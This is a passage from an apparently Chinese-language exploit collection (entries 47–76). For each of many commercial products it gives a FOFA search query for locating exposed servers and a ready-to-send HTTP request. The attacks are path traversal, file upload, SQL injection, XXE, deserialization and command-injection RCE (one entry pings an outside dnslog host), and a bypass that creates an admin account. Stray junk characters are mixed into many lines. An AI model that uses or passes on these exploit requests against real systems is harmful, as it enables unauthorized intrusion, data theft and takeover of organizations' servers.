/ l% u7 d7 ^1 y" _3 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 V8 Y% o6 K: K3 j0 _0 bConnection: close

3 t2 x5 N6 m) n
47. 用友GRP A++Cloud 政府财务云 任意文件读取
# @0 z2 \' H) E$ O, r# E/ zFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
( A+ u; R# Q& |; W3 EHost: x.x.x.x
* C$ f# ]# G$ E8 {. C+ \: ], ]5 eCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ x) _+ \5 e8 x: r1 l; y3 r4 A2 PIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close



( w" l; a5 a6 w* s: Q48. 用友U8 CRM swfupload 任意文件上传
: n3 e3 a1 c4 ?FOFA：title="用友U8CRM"
9 m4 W% \' q! u1 Y- [. W0 p: l; \POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
4 ], `. q: j: v/ z) ^Host: your-ip
) e" M& [  m, P! [. h6 F, M! zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 O. U$ A" g9 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 T1 X& K& |6 v- E9 MAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
9 a6 G& W! m. e' W  V0 B) u4 \* v' ]------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
, |7 W* K; g7 n6 A  F  kContent-Disposition: form-data; name="upload"
+ A6 {' M; ]7 |# |upload
3 y0 c6 y( Q3 r------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 }6 \; b9 g7 |# C% y$ L" m0 y4 }FOFA：body="用友U8CRM"
- Z4 n6 \4 e5 y1 _: g
& k, c, Q. z; [6 K& |! V  TPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
; ^& b5 S6 O4 Z" ]( b+ Z/ CHost: x.x.x.x
$ X1 r" E. Y; _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
& X  P( R* l; ~+ k; bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ e" }5 V2 _  ~% f1 `( c" lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
* W) j1 o* E3 XContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
- R0 H2 x. m& Y* h& |* f
-----------------------------vvv3wdayqv3yppdxvn3w
6 j+ E) T: }; p( nContent-Disposition: form-data; name="file"; filename="%s.php "
# P3 b0 ^( f2 RContent-Type: application/octet-stream
, x/ b1 {4 z  A# m5 T
wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
- q1 ~0 b$ b# a' D
upload
-----------------------------vvv3wdayqv3yppdxvn3w--

* {0 w: q: d; p1 H) Y
http://x.x.x.x/tmpfile/updB3CB.tmp.php

% w: j  ~- N2 L4 o- m" D2 `50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
8 \, g, }3 l4 I4 \5 v( CPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
7 F' r) `6 c% o  A$ G3 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
! z2 K6 q4 @, z# `+ c  e& ^0 t& xContent-Length: 224
4 x: I+ x5 r1 \& {, k% x" V3 fAccept: */*
Accept-Language: en
# V, ]2 U1 Z2 p$ Q, _, |$ wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

; h! C, T1 E* Q1 {; msearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
/ P/ ?7 M' e2 w( c8 t
% {/ t0 X: B# n( [; T) ~
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
; C+ u# Q, i! q. V; T+ y6 zFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
; O0 @- W+ `5 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
- z2 n- p/ n- m' S& M6 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
4 l1 |8 M/ [1 G/ g2 F" gAccept-Language: zh-CN,zh;q=0.9
Connection: close


6 K0 ]* ^' n8 A. K52. 泛微E-Office json_common.php sql注入
/ S4 ?$ X' N( |# Z$ k; n& s/ NFOFA：app="泛微-EOffice"
3 A2 q: S+ A6 x6 r# q: N/ \POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Content-Length: 87
Accept: */*
& X( D, g( `/ O; R8 }$ k3 BAccept-Language: en
  o# D, ~, ]% U4 fContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 Q0 i1 a$ R/ t8 C5 B: X
0 o9 }* `" s, z, X- C3 n' ?9 U, ]0 `tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

3 W6 i' ^! g& [/ i
53. 迪普 DPTech VPN Service 任意文件上传
7 B) G# A8 ^1 A/ j$ ^* W# vFOFA：app="DPtech-SSLVPN"
6 u5 Q/ V8 p- B0 W/ B3 Z7 ^0 Z6 u/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

& q2 C7 q# e2 X+ i
- y/ i8 C+ S7 A: c+ C54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
9 V/ `8 R% g* d"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
& I  Y2 ]. ^3 I# g5 [
) Z3 h% f: o& F1 ]& j
% x# ~: {6 q" V7 h完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
5 b$ j0 {9 q. x) ~# o5 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
' `" t% t' u7 d  m9 P) @. [
{
& ~8 a( F: H0 x- Z7 n- Y' g, k6 M"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
$ C( t4 |1 _! b9 `4 v' V  "ObjectInstance":{
9 _% F" v# q& c1 P   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
  y8 P) h  h' \( }/ s! K   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. b3 I- N% T0 h9 m    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
' K; R8 d% f/ }& r  }
4 F8 k: i" h- Y  }
}

' ~) u# H" X% ^: O
) V" s; o6 `+ O9 n  }! V第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
3 q6 h8 F7 [0 E1 V1 @* Y# O; [& @8 N
  m) g# |% ?! i# L
+ h7 f! n; ?5 ~55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
. U3 g( U, p4 ]( p' M5 F第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
) s& \$ e) j6 j0 C4 A0 F" \/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
$ \. f3 G  Q" n) Y3 QFOFA: app="畅捷通-TPlus"
. Q  F, K! g/ JPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
' f7 H8 {" `: j5 I' s& aHost: x.x.x.x
! ?2 ?' E1 g5 Z6 }3 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
3 Z3 u5 U; {2 {" c! M5 UContent-Type: application/json

; z( ?9 m* d- w{
7 j, L; \& T& z0 x" o7 x& d* |! K  "storeID":{
( ]7 F4 v5 l5 W! S& @: }  A. ^# M    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. a+ q# @  O( s6 y* X9 L9 E* Y        "StartInfo": {
; F6 s" Y, q6 t6 l0 N, p           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
' X% p- D5 b7 p* t       }
- G7 o8 l- o+ l& b( I    }
# w+ K. i- ^2 N* U) ]  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
- Y/ @. U7 e7 g9 @3 h& P2 V& U6 HFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
  |  i/ k: H4 m8 b' Q2 X7 M0 l  R3 jHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
4 x4 {5 T* n* M# sConnection: close

( m+ ]8 A4 P+ K
% ]- R# T! |  l. O58. 畅捷通T+ KeyInfoList.aspx sql注入
3 q) A! F  I" {# w8 s6 `) mFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
8 i: Y& E" B; e( x8 F% G7 VHost: your-ip
4 }$ G$ o) B8 h, T4 w, ^6 \User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
* P; G. D9 `% m( Z+ \$ mConnection: close
6 f2 b8 m3 ?0 k6 `* t
) f' r$ `4 c- W
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
" b# f" o: M2 |# F; y1 E8 Y: d3 rFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
4 [+ s6 c' d$ k' d$ rAccept-Encoding: gzip

7 H* H( d. ^  \2 J( WPAYLOAD
) N" y* w2 C2 i. K/ j  v& d% g& X

60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
; j. `" B( g  D9 ?- qGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
. U) w3 ~# I- I" C( zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
0 J  B5 ]0 x4 W# }Accept-Language: zh-CN,zh;q=0.9
Connection: close
  S0 ?4 |  S4 X* y

7 Z. p& m0 i) j$ S, M: I1 B61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' d* x4 N, ~6 y- O3 pFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
! W2 {& n- L8 d, C) k" mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 d5 v% ]* `$ ?- sConnection: close
4 a1 A3 b+ d* m" Y  a# R: oContent-Length: 27
/ Y# c6 J' A- S7 `Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
; s+ |1 D9 C# V  C. t- n3 R7 n' W) d0 h
8uxssX66eqrqtKObcVa0kid98xa
7 J- o0 p" V7 ~! ~
9 |9 A9 |2 T) ^; b
  s6 n# [/ X& {# z+ ^2 q, F! D62. IP-guard WebServer 远程命令执行
" A( b6 a. [6 X7 h; Z# ]$ `  `FOFA："IP-guard" && icon_hash="2030860561"
" U1 {$ B% B5 P; KGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
# z, s- |; e) u4 A0 F. vHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
  H- x9 _1 q0 ^$ ?2 gConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
2 v3 m8 e6 d+ H; V" }
3 |/ ]; I2 G9 z# J0 _4 ?
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
- V6 i# E! Z- O' b; aHost: x.x.x.x

, r9 [% p1 w/ [3 a6 M" y; O( {! X2 |
# E( r1 c9 C" [* G5 I' M1 O; C0 ^63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
, ?3 y! [1 f0 A! P% O# DFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
4 |6 D9 ~2 a' o5 m: M+ L% f, XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) o& J. S. x. I! @6 ?1 QAccept-Encoding: gzip, deflate
' e7 T; y3 S7 ]: V  ]2 ]* O/ uAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

: j. M  y0 n4 bpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
; W- d  z9 J; e' X& IPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
& Z2 G5 o' C' a% a3 }Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
( w/ ]* \' F/ H# Z* mConnection: close
Content-Length: 369
/ V" h; w$ P3 r$ b: s/ x( O) c( ZAccept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
1 \. x) L: a/ b6 ]! W+ N' mAccept-Encoding: gzip
5 g" v" h) t6 _, p
<?xml version="1.0" encoding="utf-8"?>
" d& y8 D* m: o<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! x, U6 ?: b& j/ ?3 z' y<soap:Body>
' l5 C7 Q. I) }8 d    <GetOSpById xmlns="http://tempuri.org/">
) C- T8 o' J7 S9 M      <sId>1';waitfor delay '0:0:5'--+</sId>
  Q  V3 d! h/ A2 i2 c+ Q    </GetOSpById>
( k- {% i: [0 w& b# m8 S  </soap:Body>
</soap:Envelope>


. Z7 ~; z+ p2 K* q65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
6 n; L% \- @% K) LPOST /SystemMng.ashx HTTP/1.1
& a& X: @7 ?# I1 V1 ]5 VHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
6 E" K0 }  J3 p# Y( ^  c4 YContent-Length: 174
2 H' _+ Y: _& ?! R+ b% m
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
4 X" G1 ^, h7 P5 H- E: y
/ U' S/ Y3 h6 a+ w
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
* b( ~% I1 H4 {& |( SFOFA：app="万户ezOFFICE协同管理平台"
) k- p# s2 Y6 n  `  C+ c, S7 v
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
" Z- l& p# z7 E9 m4 P+ V5 ], gHost: x.x.x.x
. ~) Q+ z' b% V- [  k. `. n* _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" |- Y; j! W2 Y9 ?% _Connection: close
2 M7 U0 P! }# `; }  ZAccept: */*
7 R* o3 a: Y9 mAccept-Language: en
Accept-Encoding: gzip
+ M9 E& j' z8 z, }7 W
  Y4 R- h# Q2 W( F. ~. r0 B# O" [
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
& M! ~. l; _5 b/ |
67. 万户ezOFFICE wpsservlet任意文件上传
+ K, P" T, u2 c$ t2 m" M# q& mFOFA：app="万户网络-ezOFFICE"
: o# I* N9 {  \. f  TnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
3 u9 q1 d0 I% R" @  o- APOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
8 [8 W( G" m$ l; \# ]. x8 DContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 ~4 \$ s  |5 C, |- R9 YAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
: W" ]1 d& N/ k* @0 JConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
& K8 d/ U" t4 f% z: fDNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

+ o" f) Y2 J2 Y5 {<% out.print("sasdfghjkj");%>
1 N4 Q9 x% {: N9 q1 i0 d$ u  C--ufuadpxathqvxfqnuyuqaozvseiueerp--
) L( j+ {8 V4 Y  K  C0 w. M
; I- q, S2 |& s! E
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
- W5 p% ^) k% {' |- M* A. |FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
( s# x6 z" I( a% bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
' r- \- @7 b9 u! W" SAccept-Language: zh-CN,zh;q=0.9
0 v- M. N5 @/ Z. C7 I4 CConnection: close
$ W; b& a+ H2 _% \) [, L- d

, T# k6 W9 C" a2 E69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
9 H; h; s  l4 D1 F3 yHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
. w! F( B' z# Q* yConnection: keep-alive
& C4 w! @4 K9 E( I: J

$ `1 r8 j/ |$ A# `: w70. 万户ezEIP success 命令执行
* B, y. {. z3 U9 PFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
" D5 x/ I6 M/ H) D3 x3 e  EHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
' E0 h+ a. h, }$ Y( UTYPE: C
7 y5 P5 G# N, B" O+ Y# TContent-Length: 16702
& S% b# _# Q: E. _8 H
4 T0 I% d1 |1 V' M; ]__VIEWSTATE=PAYLOAD
; s% j) R3 m$ d( z
$ l# M/ W* m9 W6 p# _. M
5 }: |- Q  X( [( G71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
4 l5 L7 i; Q; w) J: ^) X8 CFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
1 {& T6 Q) O& v9 DHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
; m! T% @5 j8 pConnection: close
0 Q6 c. x& N# D/ K8 S' z5 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 e* o5 f) E( x* y6 S* GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
( n1 M0 S7 I$ C$ t; u# ~) k
# F" k+ Q, h3 v
5 d# e5 V7 m4 S8 L+ ]72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
- a! I# Z" b- p3 k5 Y1 m" f/ f4 q" QUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
  J1 J' X9 h- R- M( M, I$ vContent-Length: 583
2 [- j  t! E" m1 vContent-Type: application/x-www-form-urlencoded
' G; j+ t; ?% k2 T0 N4 ~Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

$ V) b+ `: g: H$ Z: M
6 X, y' u/ R1 O' S  V73. GeoServer wms远程代码执行
9 F1 h: r! P  [5 q" \FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
% a7 c6 [3 c0 b# nConnection: close
4 t" @1 k- {& B6 _  C8 y( f0 kContent-Type: application/xml
SL-CE-SUID: 3

PAYLOAD


* s) l7 J3 k8 N74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

1 v! D% j" \3 t% F+ k( G& Q" F75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 u, o+ @$ O/ A" ?/ [( DHost: x.x.x.x
/ g! s$ r. m) b- x7 W; y( Y. ]+ a- TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
# d0 l6 o+ t/ R7 Y  ~Accept-Language: en
Accept-Encoding: gzip
9 e' W3 X) X1 p" f* d

2 _7 ]% \; B7 \& l) BGET /cgi-bin/test28256.txt HTTP/1.1
" ?( C1 G" I% @  E0 ]Host: x.x.x.x

: Q1 d  G% A- k; U% u
76. 新开普掌上校园服务管理平台service.action远程命令执行
/ J9 |! \! u. q0 ~$ IFOFA：title="掌上校园服务管理平台"
: g: g: M' ^: D+ h) hPOST /service_transport/service.action HTTP/1.1
$ e0 [( ]. Z) ]( z9 ^5 c; xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
$ k# X& P- L- W7 S. ]: b( o2 XContent-Length: 211
& A- _  S8 i& Q# t/ [) A) }' y! C' ?4 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 a2 L4 B5 o4 J+ m# y( ^& y3 jAccept-Encoding: gzip, deflate
: j- I! @; }% |7 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, J, \( b$ c% x2 i7 MCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
' [/ j! y0 R1 \" D6 }4 Y' ZUpgrade-Insecure-Requests: 1

